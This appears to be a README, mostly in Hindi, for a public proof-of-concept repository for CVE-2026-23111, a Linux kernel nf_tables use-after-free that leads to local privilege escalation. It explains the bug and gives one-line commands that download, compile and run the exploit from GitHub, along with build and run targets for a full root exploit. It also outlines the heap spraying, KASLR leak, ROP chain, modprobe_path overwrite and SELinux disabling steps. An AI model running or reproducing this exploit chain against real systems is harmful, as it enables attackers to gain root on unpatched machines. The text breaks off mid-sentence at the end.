
लिनक्स कर्नेल nf_tables Use-After-Free (CVE-2026-23111) — LPE PoC
Linux Kernel nf_tables Use-After-Free (Local Privilege Escalation) poc by baba01hacker
net/netfilter/nf_tables_api.c — nft_map_catchall_activate()| संस्करण श्रेणी | निश्चित में |
|---|---|
| 6.19-rc1 से 6.19-rc8 | 6.19-rc9+ |
| 6.13 से 6.18.9 | 6.18.10 |
| 6.7 से 6.12.69 | 6.12.70 |
| 6.4.1 से 6.5.x | EOL (कोई स्थिर समाधान नहीं) |
| 6.3.10 से 6.3.x | EOL |
| 6.0.x, 6.2.x | EOL |
| 6.1.36 से 6.1.162 | 6.1.163 |
| 5.15.121 से 5.15.199 | 5.15.200 |
| 5.10.188+, 5.4.262+, 4.19.316+ | विविध LTS |
CVE-2026-23111 एक nf_tables use-after-free है जो nft_map_catchall_activate() में उल्टी पीढ़ी-मास्क जाँच के कारण होता है। विफल लेन-देन के रोलबैक के दौरान, कैचऑल वर्डिक्ट-मैप तत्व जो NFT_MSG_DELSET द्वारा निष्क्रिय किए गए थे, उन्हें पुनः सक्रिय किया जाना चाहिए ताकि NFT_GOTO श्रृंखला संदर्भ जैसे संदर्भ बहाल हो सकें। कैचऑल सक्रियण पथ ने इसके बजाय सक्रिय तत्वों को छोड़ दिया और निष्क्रिय तत्वों को संसाधित किया, जिससे निष्क्रिय कैचऑल तत्व बहाल नहीं हुए।
सही गैर-कैचऑल सक्रियण तर्क है:
if (nft_set_elem_active(ext, iter->genmask))
return 0; /* सक्रिय को छोड़ें, निष्क्रिय प्रक्रिया */
असुरक्षित कैचऑल पथ ने विपरीत स्थिति का उपयोग किया:
if (!nft_set_elem_active(ext, genmask))
continue; /* निष्क्रिय को छोड़ें, सक्रिय प्रक्रिया */
जब एक हटाए गए pipapo वर्डिक्ट मैप को वापस रोल किया जाता है, तो यह nft_setelem_data_activate() को निष्क्रिय कैचऑल तत्व के लिए चलने से रोकता है। NFT_JUMP/NFT_GOTO वर्डिक्ट डेटा के लिए, nft_data_hold() द्वारा ली गई श्रृंखला संदर्भ इसलिए बहाल नहीं होती है। निरस्त/टॉगल/हटाने के अनुक्रम को दोहराने से chain->use शून्य हो सकता है जबकि किसी अन्य नियम में अभी भी श्रृंखला का एक वैध वर्डिक्ट संदर्भ मौजूद है। बाद में DELCHAIN श्रृंखला को मुक्त कर सकता है जबकि यह अभी भी पहुँच योग्य है, UAF बनाता है।
टेबल, बेस चेन, पीड़ित श्रृंखला, और कैचऑल NFT_GOTO के साथ pipapo वर्डिक्ट मैप बनाएं -> पीड़ित
|
बैच 1: pipapo सेट हटाएं, फिर एक लेन-देन त्रुटि को बाध्य करें
|
निरस्त पथ nft_map_catchall_activate() को कॉल करता है, लेकिन उल्टी जाँच निष्क्रिय कैचऑल को छोड़ देती है
|
कैचऑल निष्क्रिय रहता है और पीड़ित श्रृंखला संदर्भ गणना बहाल नहीं होती है
|
बैच 2: पीढ़ी कर्सर को टॉगल करने के लिए एक सौम्य लेन-देन करें
|
बैच 3: pipapo सेट को सफलतापूर्वक हटाएं, पीड़ित श्रृंखला संदर्भ को फिर से कम करें
|
बैच 4: पीड़ित श्रृंखला को हटाएं जबकि बेस-चेन वर्डिक्ट अभी भी इसका संदर्भ देता है
|
Use-after-free जब पैकेट मूल्यांकन या नियम डंप लटकते वर्डिक्ट संदर्भ का अनुसरण करता है
अपस्ट्रीम फिक्स नकारात्मकता को हटाना है ताकि nft_map_catchall_activate() nft_mapelem_activate() से मेल खाए: सक्रिय तत्वों को छोड़ दिया जाता है, निष्क्रिय तत्वों को फिर से सक्रिय किया जाता है, और रद्द हैंडलिंग के दौरान वर्डिक्ट/ऑब्जेक्ट संदर्भ बहाल किए जाते हैं।
python3 CVE-2026-23111-checker.py --detailed
python3 CVE-2026-23111-checker.py --json
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_full.c && gcc -Wall -O2 -o exploit_full exploit_full.c -lnftnl -lmnl && ./exploit_full -d
यदि पूर्ण/v1 PoC लक्ष्य कर्नेल पर विफल होता है तो इसका उपयोग करें।
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_v2.c && gcc -Wall -O2 -o exploit_v2 exploit_v2.c -lnftnl -lmnl && ./exploit_v2 -d
यदि कंपाइलर libmnl/libmnl.h या libnftnl हेडर नहीं ढूँढ पाता है तो पहले निर्माण निर्भरताएँ स्थापित करें:
scripts/install-build-deps.sh
# or
make deps
make # शोषण का निर्माण करें (केवल PoC)
make v2 # v2 शोषण का निर्माण करें (FuzzingLabs दृष्टिकोण — v1 विफल होने पर प्रयास करें)
make full # पूर्ण LPE शोषण का निर्माण करें
make v3 # v3 कैलिब्रेटेड eval-path संस्करण का निर्माण करें
make run-d # डीबग आउटपुट के साथ PoC चलाएँ
make run-v2-d # डीबग आउटपुट के साथ v2 चलाएँ
make run-v3 # v3 उपयोग/सहायता दिखाएँ
make run-full # पूर्ण LPE चलाएँ
एक कैचऑल तत्व (गोटो पीड़ित श्रृंखला) के साथ एक pipapo मैप सेट बनाता है, फिर DELSET निरस्त के दौरान उल्टी genmask बग का उपयोग करके chain->use को दूषित करता है। पीढ़ी काउंटर को आगे बढ़ाने के बाद, DELCHAIN लटकते संदर्भों के बावजूद सफल होता है, श्रृंखला को मुक्त करता है।
UAF के बाद, chain->name मेमोरी मुक्त हो जाती है। हम /proc/self/stat खोलकर मुक्त स्लैब कैश स्लॉट को पुनः प्राप्त करने के लिए seq_operations संरचनाएँ (32 बाइट) स्प्रे करते हैं। NFT_MSG_GETRULE के माध्यम से बेस चेन के तत्काल वर्डिक्ट नियम को वापस पढ़ने से पुनः प्राप्त श्रृंखला नाम डंप होता है, जिससे कर्नेल फंक्शन पॉइंटर्स लीक हो जाते हैं। पॉइंटर सत्यापन सुनिश्चित करता है कि केवल विहित कर्नेल टेक्स्ट पते स्वीकार किए जाते हैं।
लंबे श्रृंखला नाम (140 बाइट → kmalloc-cg-192) के साथ UAF को फिर से ट्रिगर करता है, फिर मेमोरी को पुनः प्राप्त करने के लिए nft_rule ऑब्जेक्ट स्प्रे करता है। लीक हुए list_head पॉइंटर प्रत्यक्ष मानचित्र क्षेत्र में हीप पतों को प्रकट करते हैं।
nft_expr_ops और nft_rule_blob के लिए नियंत्रित डेटा के साथ स्प्रे किए गएblob_gen_0 को ओवरराइट करने के लिए 128-बाइट तालिका उपयोगकर्ता डेटा स्प्रेcommit_creds(&init_cred) → switch_task_namespaces → swapgs; iretq/proc/kcore से स्वचालित रूप से स्कैन किए गएexpr->ops->eval को लागू करने के लिए बेस चेन के माध्यम से ट्रिगर पैकेट भेजा गयाv2 शोषण (exploit_v2.c) FuzzingLabs लेख में वर्णित तकनीकों का उपयोग करता है और इसका उपयोग तब किया जा सकता है जब v1 PoC विफल हो। मुख्य अंतर:
| घटक | v1 (exploit.c) | v2 (exploit_v2.c) |
|---|---|---|
| UAF ट्रिगर | एकल सेट + तत्काल गोटो नियम | दो सेट (FuzzingLabs शैली) + लुकअप नियम |
| KASLR रीडबैक | NFT_MSG_GETRULE (नियम डंप) | NFT_MSG_GETELEM (तत्व डंप) + GETRULE फ़ॉलबैक |
| हीप लीक | nft_rule स्प्रे + list_head लीक | init_ipc_ns मनमाना-पढ़ने की श्रृंखला |
| ROP होस्ट | nft_rules + तालिका उपयोगकर्ता डेटा | msg_msg-2k (2048-बाइट संदेश) |
| अपहरण ट्रिगर | तत्काल गोटो पर पैकेट eval | जीवित सेट कैचऑल पर पैकेट eval |
| विशेषाधिकार वृद्धि | commit_creds + switch_task_namespaces | modprobe_path ओवरराइट + SELinux अक्षम |
| वापसी पथ | swapgs; iretq | msleep() (कर्नेल में रहता है) |
init_ipc_ns + 0x118 → msg_ids.xa_head → msg_queue (टैग किया गया पॉइंटर)
msg_queue + 0xc0 → q_messages.next → msg_msg हीप पता
प्रत्येक चरण मुक्त श्रृंखला संरचना का उपयोग मनमाना-पढ़ने के आदिम के रूप में करता है:
तालिका उपयोगकर्ता डेटा (128 बाइट) kmalloc-cg-128 में मुक्त nft_chain को पुनः प्राप्त करता है,
और ऑफसेट 0x40 (जहाँ chain->name रहता है) पर रखा गया एक कर्नेल पता
SET_B तत्व डंप के दौरान कर्नेल द्वारा डीरेफरेंस किया जाता है।
v3 हीप चरण ऑफसेट-पूर्वानुमानित है न कि सच्चा बाइनरी-सुरक्षित मनमाना-पढ़ने-वाया-eval आदिम। अंतिम स्प्रे चलाने से पहले लक्ष्य को कैलिब्रेट करें:
grep msg_msg /proc/slabinfo
# kmalloc-cg-2048 ऑब्जेक्ट घनत्व के साथ क्रॉस-रेफरेंस करें, फिर इसके साथ चलाएँ:
./exploit_v3 --msg-msg-addr 0xffff...
# या, जब मान लीक कर्नेल बेस के सापेक्ष ज्ञात हो:
./exploit_v3 --msg-msg-delta 0x...
सटीक कर्नेल बिल्ड के विरुद्ध nftables संरचना ऑफसेट सत्यापित करें: